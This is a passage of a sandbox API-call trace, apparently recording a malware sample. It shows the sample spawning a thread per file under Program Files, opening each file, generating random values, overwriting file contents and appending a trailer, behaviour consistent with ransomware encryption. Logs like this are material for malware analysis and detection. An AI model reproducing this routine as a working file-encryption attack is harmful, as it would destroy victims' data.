lpStartAddress=0x2b52e40, lpParameter=0x202a5fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0097.642] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0097.642] FindClose (in: hFindFile=0x1cd9dbb0 | out: hFindFile=0x1cd9dbb0) returned 1 [0097.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ebc0) returned 1 [0097.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0097.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e110) returned 1 Thread: id = 425 os_tid = 0xfd4 [0091.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp")) returned 0x20 [0091.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", dwFileAttributes=0x20) returned 0 [0091.266] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.266] GetLastError () returned 0x5 [0091.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", dwFileAttributes=0x20) returned 0 [0091.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 Thread: id = 426 os_tid = 0xfd8 [0091.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp")) returned 0x20 [0091.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", dwFileAttributes=0x20) returned 0 [0091.269] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.269] GetLastError () returned 0x5 [0091.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp", dwFileAttributes=0x20) returned 0 [0091.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 Thread: id = 427 os_tid = 0xfdc [0091.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp")) returned 0x20 [0091.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp", dwFileAttributes=0x20) returned 0 [0091.272] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.272] GetLastError () returned 0x5 [0091.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp", dwFileAttributes=0x20) returned 0 [0091.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea90) returned 1 Thread: id = 428 os_tid = 0xfe0 [0091.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp")) returned 0x20 [0091.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", dwFileAttributes=0x20) returned 0 [0091.274] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.274] GetLastError () returned 0x5 [0091.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp", dwFileAttributes=0x20) returned 0 [0091.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb10) returned 1 Thread: id = 429 os_tid = 0xfe4 [0091.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp")) returned 0x20 [0091.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp", dwFileAttributes=0x20) returned 0 [0091.285] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.285] GetLastError () returned 0x5 [0091.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp", dwFileAttributes=0x20) returned 0 [0091.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 Thread: id = 430 os_tid = 0xfe8 [0091.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp")) returned 0x20 [0091.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp", dwFileAttributes=0x20) returned 0 [0091.288] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.288] GetLastError () returned 0x5 [0091.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp", dwFileAttributes=0x20) returned 0 [0091.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 Thread: id = 431 os_tid = 0xfec [0091.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp")) returned 0x20 [0091.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp", dwFileAttributes=0x20) returned 0 [0091.291] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.291] GetLastError () returned 0x5 [0091.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp", dwFileAttributes=0x20) returned 0 [0091.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b9a0) returned 1 Thread: id = 432 os_tid = 0xff0 [0091.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp")) returned 0x20 [0091.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp", dwFileAttributes=0x20) returned 0 [0091.293] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.293] GetLastError () returned 0x5 [0091.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp", dwFileAttributes=0x20) returned 0 [0091.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 Thread: id = 433 os_tid = 0xff4 [0091.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp")) returned 0x20 [0091.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp", dwFileAttributes=0x20) returned 0 [0091.297] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.297] GetLastError () returned 0x5 [0091.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp", dwFileAttributes=0x20) returned 0 [0091.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 Thread: id = 434 os_tid = 0xff8 [0091.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp")) returned 0x20 [0091.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp", dwFileAttributes=0x20) returned 0 [0091.299] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" (normalized: "c:\\program files\\windows journal\\templates\\shorthand.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.300] GetLastError () returned 0x5 [0091.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp", dwFileAttributes=0x20) returned 0 [0091.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed10) returned 1 Thread: id = 435 os_tid = 0xffc [0091.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp")) returned 0x20 [0091.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", dwFileAttributes=0x20) returned 0 [0091.302] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0091.302] GetLastError () returned 0x5 [0091.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", dwFileAttributes=0x20) returned 0 [0091.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 Thread: id = 436 os_tid = 0xad8 [0091.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85ed90 [0091.311] wcscpy (in: _Dest=0x1b85ed90, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0091.311] wcscat (in: _Dest=0x1b85ed90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\" [0091.311] wcscat (in: _Dest=0x1b85ed90, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*" [0091.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21a10 [0091.311] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc10 [0091.312] wcscmp (_String1=".", _String2=".") returned 0 [0091.312] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.312] wcscmp (_String1="..", _String2=".") returned 1 [0091.312] wcscmp (_String1="..", _String2="..") returned 0 [0091.312] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0091.312] wcscmp (_String1="1033", _String2=".") returned 1 [0091.312] wcscmp (_String1="1033", _String2="..") returned 1 [0091.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85b9a0 [0091.312] wcscpy (in: _Dest=0x1b85b9a0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0091.312] wcscat (in: _Dest=0x1b85b9a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\" [0091.312] wcscat (in: _Dest=0x1b85b9a0, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" [0097.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85b9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0097.886] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557a0300, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x557a0300, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x11348, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkg.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1 [0097.886] wcscmp (_String1="VSTAClientPkg.dll", _String2=".") returned 1 [0097.886] wcscmp (_String1="VSTAClientPkg.dll", _String2="..") returned 1 [0097.886] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1 [0097.887] wcscmp (_String1="VSTAProject.dll", _String2=".") returned 1 [0097.887] wcscmp (_String1="VSTAProject.dll", _String2="..") returned 1 [0097.887] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1ce21a10 | out: lpFindFileData=0x1ce21a10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0 [0097.887] FindClose (in: hFindFile=0x1cd9dc10 | out: hFindFile=0x1cd9dc10) returned 1 [0097.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21a10) returned 1 [0097.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0097.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 Thread: id = 437 os_tid = 0x5f4 [0091.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml")) returned 0x20 [0091.314] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml", dwFileAttributes=0x20) returned 1 [0091.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd58 [0091.314] GetFileSizeEx (in: hFile=0xd58, lpFileSize=0x1e01fd20 | out: lpFileSize=0x1e01fd20*=15715) returned 1 [0091.314] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x3d5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.314] ReadFile (in: hFile=0xd58, lpBuffer=0x1e01fca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e01fce8, lpOverlapped=0x0 | out: lpBuffer=0x1e01fca0*, lpNumberOfBytesRead=0x1e01fce8*=0x4, lpOverlapped=0x0) returned 1 [0091.376] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aae0 [0091.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0091.376] NtQuerySystemTime (in: CurrentTime=0x1e01fbe0 | out: CurrentTime=0x1e01fbe0*=132462176972266000) returned 0x0 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x6677bb78 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x5e8e181b [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x61922019 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x2bd68717 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x4af7601 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x7a4eae75 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x7842bfe8 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x6b54c73a [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x5fc13682 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x6b8c1eb0 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x64f51096 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x5f965dc2 [0091.376] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x21ee3276 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x495647e6 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x5c6b971d [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x3d95d6aa [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x262b7bb3 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x146beae3 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x50ca2c46 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x66c4d529 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x513303cd [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x66361d20 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x9694771 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x29f61a03 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x65bc143e [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x17fb45eb [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x79519ffd [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0xcf2d1d2 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x476d6812 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x749e0292 [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x65bc143e [0091.377] RtlRandomEx (in: Seed=0x1e01fbd0 | out: Seed=0x1e01fbd0) returned 0x69a37ddf [0091.384] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.384] ReadFile (in: hFile=0xd58, lpBuffer=0x20179560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e01fc40, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesRead=0x1e01fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0091.469] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec10 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0091.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019b4e0 [0091.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0091.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0091.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7890) returned 1 [0091.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0091.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.470] WriteFile (in: hFile=0xd58, lpBuffer=0x2019b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e01fc40, lpOverlapped=0x0 | out: lpBuffer=0x2019b4e0*, lpNumberOfBytesWritten=0x1e01fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0091.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0091.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0091.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0091.696] SetFilePointerEx (in: hFile=0xd58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.697] WriteFile (in: hFile=0xd58, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x1e01fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x1e01fcf0*=0x124, lpOverlapped=0x0) returned 1 [0091.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0091.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0091.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0091.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f5f0 [0091.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0091.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0091.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0091.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 